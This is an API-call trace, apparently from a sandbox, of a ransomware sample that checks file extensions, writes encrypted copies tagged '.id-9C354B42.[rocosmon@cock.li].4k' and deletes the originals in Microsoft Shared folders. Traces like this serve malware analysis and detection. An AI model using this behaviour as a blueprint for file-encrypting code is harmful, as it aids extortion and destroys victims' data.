	[0094.173] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.173] lstrlenW (lpString=".dbf") returned 4
	[0094.173] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.173] lstrlenW (lpString=".1cd") returned 4
	[0094.173] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0094.173] lstrlenW (lpString=".jpg") returned 4
	[0094.173] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.174] lstrcmpiW (lpString1=".avi", lpString2=".4k") returned 1
	[0094.174] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0094.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.176] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=89600) returned 1
	[0094.176] CloseHandle (hObject=0x18c) returned 1
	[0094.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0094.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.176] lstrlenW (lpString=".doc") returned 4
	[0094.176] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.176] lstrlenW (lpString=".docx") returned 5
	[0094.176] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0094.176] lstrlenW (lpString=".pdf") returned 4
	[0094.176] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.176] lstrlenW (lpString=".xls") returned 4
	[0094.176] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.176] lstrlenW (lpString=".xlsx") returned 5
	[0094.176] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0094.177] lstrlenW (lpString=".ppt") returned 4
	[0094.177] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.177] lstrlenW (lpString=".zip") returned 4
	[0094.177] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.177] lstrlenW (lpString=".rar") returned 4
	[0094.177] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.177] lstrlenW (lpString=".bz2") returned 4
	[0094.177] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.177] lstrlenW (lpString=".7z") returned 3
	[0094.177] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.177] lstrlenW (lpString=".dbf") returned 4
	[0094.177] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0094.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.177] lstrlenW (lpString=".1cd") returned 4
	[0094.177] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0094.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.177] lstrlenW (lpString=".jpg") returned 4
	[0094.177] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.178] lstrlenW (lpString=".doc") returned 4
	[0094.178] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString=".docx") returned 5
	[0094.178] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0094.178] lstrlenW (lpString=".pdf") returned 4
	[0094.178] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString=".xls") returned 4
	[0094.178] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString=".xlsx") returned 5
	[0094.178] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0094.178] lstrlenW (lpString=".ppt") returned 4
	[0094.178] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.178] lstrlenW (lpString=".zip") returned 4
	[0094.178] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString=".rar") returned 4
	[0094.178] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString=".bz2") returned 4
	[0094.178] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString=".7z") returned 3
	[0094.178] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.178] lstrlenW (lpString=".dbf") returned 4
	[0094.178] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0094.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.178] lstrlenW (lpString=".1cd") returned 4
	[0094.179] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0094.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0094.179] lstrlenW (lpString=".jpg") returned 4
	[0094.179] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0094.179] lstrcmpiW (lpString1=".avi", lpString2=".4k") returned 1
	[0094.179] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0094.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.180] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=31744) returned 1
	[0094.180] CloseHandle (hObject=0x18c) returned 1
	[0094.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0094.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.181] lstrlenW (lpString=".doc") returned 4
	[0094.181] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.181] lstrlenW (lpString=".docx") returned 5
	[0094.181] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0094.181] lstrlenW (lpString=".pdf") returned 4
	[0094.181] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.181] lstrlenW (lpString=".xls") returned 4
	[0094.181] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.181] lstrlenW (lpString=".xlsx") returned 5
	[0094.181] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0094.181] lstrlenW (lpString=".ppt") returned 4
	[0094.181] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.181] lstrlenW (lpString=".zip") returned 4
	[0094.181] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.181] lstrlenW (lpString=".rar") returned 4
	[0094.181] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.181] lstrlenW (lpString=".bz2") returned 4
	[0094.181] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.181] lstrlenW (lpString=".7z") returned 3
	[0094.181] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.181] lstrlenW (lpString=".dbf") returned 4
	[0094.182] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0094.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.182] lstrlenW (lpString=".1cd") returned 4
	[0094.182] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0094.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.182] lstrlenW (lpString=".jpg") returned 4
	[0094.182] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0094.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.182] lstrlenW (lpString=".doc") returned 4
	[0094.182] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.182] lstrlenW (lpString=".docx") returned 5
	[0094.182] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0094.182] lstrlenW (lpString=".pdf") returned 4
	[0094.182] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.182] lstrlenW (lpString=".xls") returned 4
	[0094.182] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.182] lstrlenW (lpString=".xlsx") returned 5
	[0094.182] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0094.182] lstrlenW (lpString=".ppt") returned 4
	[0094.182] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.182] lstrlenW (lpString=".zip") returned 4
	[0094.182] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.182] lstrlenW (lpString=".rar") returned 4
	[0094.182] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.183] lstrlenW (lpString=".bz2") returned 4
	[0094.183] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.183] lstrlenW (lpString=".7z") returned 3
	[0094.183] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.183] lstrlenW (lpString=".dbf") returned 4
	[0094.183] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.183] lstrlenW (lpString=".1cd") returned 4
	[0094.183] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0094.183] lstrlenW (lpString=".jpg") returned 4
	[0094.183] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0094.183] lstrcmpiW (lpString1=".avi", lpString2=".4k") returned 1
	[0094.183] lstrlenW (lpString="boxed-join.avi") returned 14
	[0094.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.184] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=33280) returned 1
	[0094.184] CloseHandle (hObject=0x18c) returned 1
	[0094.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0094.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.184] lstrlenW (lpString=".doc") returned 4
	[0094.184] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.184] lstrlenW (lpString=".docx") returned 5
	[0094.184] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0094.184] lstrlenW (lpString=".pdf") returned 4
	[0094.184] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.184] lstrlenW (lpString=".xls") returned 4
	[0094.184] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.184] lstrlenW (lpString=".xlsx") returned 5
	[0094.184] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0094.184] lstrlenW (lpString=".ppt") returned 4
	[0094.184] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.185] lstrlenW (lpString=".zip") returned 4
	[0094.185] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.185] lstrlenW (lpString=".rar") returned 4
	[0094.185] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.185] lstrlenW (lpString=".bz2") returned 4
	[0094.185] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.185] lstrlenW (lpString=".7z") returned 3
	[0094.185] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.185] lstrlenW (lpString=".dbf") returned 4
	[0094.185] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0094.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.185] lstrlenW (lpString=".1cd") returned 4
	[0094.185] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0094.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.185] lstrlenW (lpString=".jpg") returned 4
	[0094.185] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0094.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.185] lstrlenW (lpString=".doc") returned 4
	[0094.185] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.185] lstrlenW (lpString=".docx") returned 5
	[0094.185] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0094.185] lstrlenW (lpString=".pdf") returned 4
	[0094.185] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.185] lstrlenW (lpString=".xls") returned 4
	[0094.185] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.186] lstrlenW (lpString=".xlsx") returned 5
	[0094.186] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0094.186] lstrlenW (lpString=".ppt") returned 4
	[0094.186] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.186] lstrlenW (lpString=".zip") returned 4
	[0094.186] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.186] lstrlenW (lpString=".rar") returned 4
	[0094.186] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.186] lstrlenW (lpString=".bz2") returned 4
	[0094.186] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.186] lstrlenW (lpString=".7z") returned 3
	[0094.186] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.186] lstrlenW (lpString=".dbf") returned 4
	[0094.186] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0094.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.186] lstrlenW (lpString=".1cd") returned 4
	[0094.186] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0094.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0094.186] lstrlenW (lpString=".jpg") returned 4
	[0094.186] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0094.186] lstrcmpiW (lpString1=".avi", lpString2=".4k") returned 1
	[0094.186] lstrlenW (lpString="boxed-split.avi") returned 15
	[0094.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.187] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=62976) returned 1
	[0094.187] CloseHandle (hObject=0x18c) returned 1
	[0094.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0094.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0094.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0094.187] lstrlenW (lpString=".doc") returned 4
	[0094.187] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.187] lstrlenW (lpString=".docx") returned 5
	[0094.187] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0094.187] lstrlenW (lpString=".pdf") returned 4
	[0094.187] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.187] lstrlenW (lpString=".xls") returned 4
	[0094.187] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.188] lstrlenW (lpString=".xlsx") returned 5
	[0094.188] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0094.188] lstrlenW (lpString=".ppt") returned 4
	[0094.188] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0094.188] lstrlenW (lpString=".zip") returned 4
	[0094.188] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.188] lstrlenW (lpString=".rar") returned 4
	[0094.188] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.188] lstrlenW (lpString=".bz2") returned 4
	[0094.188] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.188] lstrlenW (lpString=".7z") returned 3
	[0094.188] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0094.188] lstrlenW (lpString=".dbf") returned 4
	[0094.188] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0096.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0099.311] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.311] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0099.311] GetLastError () returned 0x0
	[0099.319] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0xa40, lpOverlapped=0x0) returned 1
	[0099.384] WriteFile (in: hFile=0x1e0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xa50, lpOverlapped=0x0) returned 1
	[0099.385] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.385] WriteFile (in: hFile=0x1e0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0099.385] SetEndOfFile (hFile=0x1e0) returned 1
	[0099.386] CloseHandle (hObject=0x1e0) returned 1
	[0099.386] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.386] SetEndOfFile (hFile=0x1ac) returned 1
	[0099.387] CloseHandle (hObject=0x1ac) returned 1
	[0099.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.387] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1
	[0099.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.387] lstrlenW (lpString=".doc") returned 4
	[0099.387] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.387] lstrlenW (lpString=".docx") returned 5
	[0099.387] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0099.387] lstrlenW (lpString=".pdf") returned 4
	[0099.387] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.387] lstrlenW (lpString=".xls") returned 4
	[0099.387] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.387] lstrlenW (lpString=".xlsx") returned 5
	[0099.387] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0099.388] lstrlenW (lpString=".ppt") returned 4
	[0099.388] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
